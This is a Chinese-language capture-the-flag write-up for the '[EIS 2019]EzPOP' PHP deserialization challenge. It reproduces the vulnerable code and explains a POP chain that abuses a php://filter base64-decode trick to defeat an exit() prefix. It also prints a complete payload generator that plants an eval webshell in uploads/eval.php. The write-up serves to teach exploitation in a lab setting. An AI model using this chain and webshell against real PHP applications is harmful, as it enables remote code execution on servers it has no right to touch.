[EIS 2019]EzPOP

[EIS 2019]EzPOP

考点:

base64加密,解密的时候按4个的倍数

然后数组里面含有 php代码也可以执行

然后学到了解题思路,逆推然后找各个变量的初始值

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {//
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);//得到公共的数组元素
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);//cache也是没有定义的

        return json_encode([$cleaned, $this->complete]);//complete也没定义  返回的是json解析数据
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);// expire  key也没定义
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];//漏洞点

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

啊又是php反序列化的题目,这么长看的属实头疼。。。进去分析

通常套路直接找链子的尾部,可能执行代码的地方

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

死亡绕过exit,把这段代码进行base64加密就可以,然后把filename控制为php://filter解码base64读取

思路确定,看一下filename 、data是否可控

filename-->        

$filename = $this->getCacheKey($name);--->
return $this->options['prefix'] . $name;---> 这里的name 是 $this->可控

并且options['prefix']也是可控的
$data->

$data = $this->serialize($value); -> 并且serialize在程序中进行了重写
                                  $serialize = $this->options['serialize'] 这个控制

这里面的$value是我们传入的$contents 

而这个$contents就是调用返回的$contents = $this->getForStorage(); json数据

return json_encode([$cleaned, $this->complete]);

这里面的complete也是可以控制的

列出来的一些细节

<?php
function cleanContents(array $contents) {
    $cachedProperties = array_flip([
        'path', 'dirname', 'basename', 'extension', 'filename',
        'size', 'mimetype', 'visibility', 'timestamp', 'type',
    ]);

    foreach ($contents as $path => $object) {
        if (is_array($object)) {
            $contents[$path] = array_intersect_key($object, $cachedProperties);
        }
    }

    return $contents;
}
$a = array();
$b = '<?php eval($_POST["cmd"]);?>';
echo json_encode([clearstatcache($a), $b]);

?>

结果为<?php eval($_POST[\"cmd\"]);?>引号被转义了所以加了一次base64编码

我一直想不明白的一个点就是


[null,"<?php eval($_POST[\"cmd\"]);?>"]

这里返回的是json数据,然后我们是把这个写入文件中的,

本地尝试发现这样竟然可以打通

 

 

payload

<?php

class A {
    protected $store;
    protected $key;
    protected $expire;

    public function __construct($store,$key,$expire)
    {
        $this->key=$key;
        $this->expire=$expire;
        $this->store=$store;
    }
}

class B{
    public $option;
}

$b=new B();
$b->options['serialize']='base64_decode';
$b->options['data_compress']=false;
$b->options['prefix']='php://filter/write=convert.base64-decode/resource=uploads/';

$a=new A($b,'eval.php',0);
$a->autosave=false;
$a->cache=array();
$a->complete=base64_encode('abc'.base64_encode('<?php @eval($_POST["a"]); ?>'));
//必须添加三个字符使得shell之前的字符串进行base64解码时不影响到shell

echo urlencode(serialize($a));

为什么base_encode拼接 'abc'

这里还要了解base64解码特点,base64解码的合法字符只包括[a-zA-Z1-9]+/这64个字符;
1、编码时:把明文每8位按6位查表转码,不足的位数用=补0
2、解码时:忽略[",:等64个字符之外的字符,然后逆运算就行
所以要求编码为4的倍数,由于shell前面的字符串中存在的base64编码有效字符只有php//000000000000exit21个字符,因此应该在shell前补上3个有效字符 

 直接/?data=生成的字符串,然后自动创建了/uploads/eval.php,直接链接webshell,

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值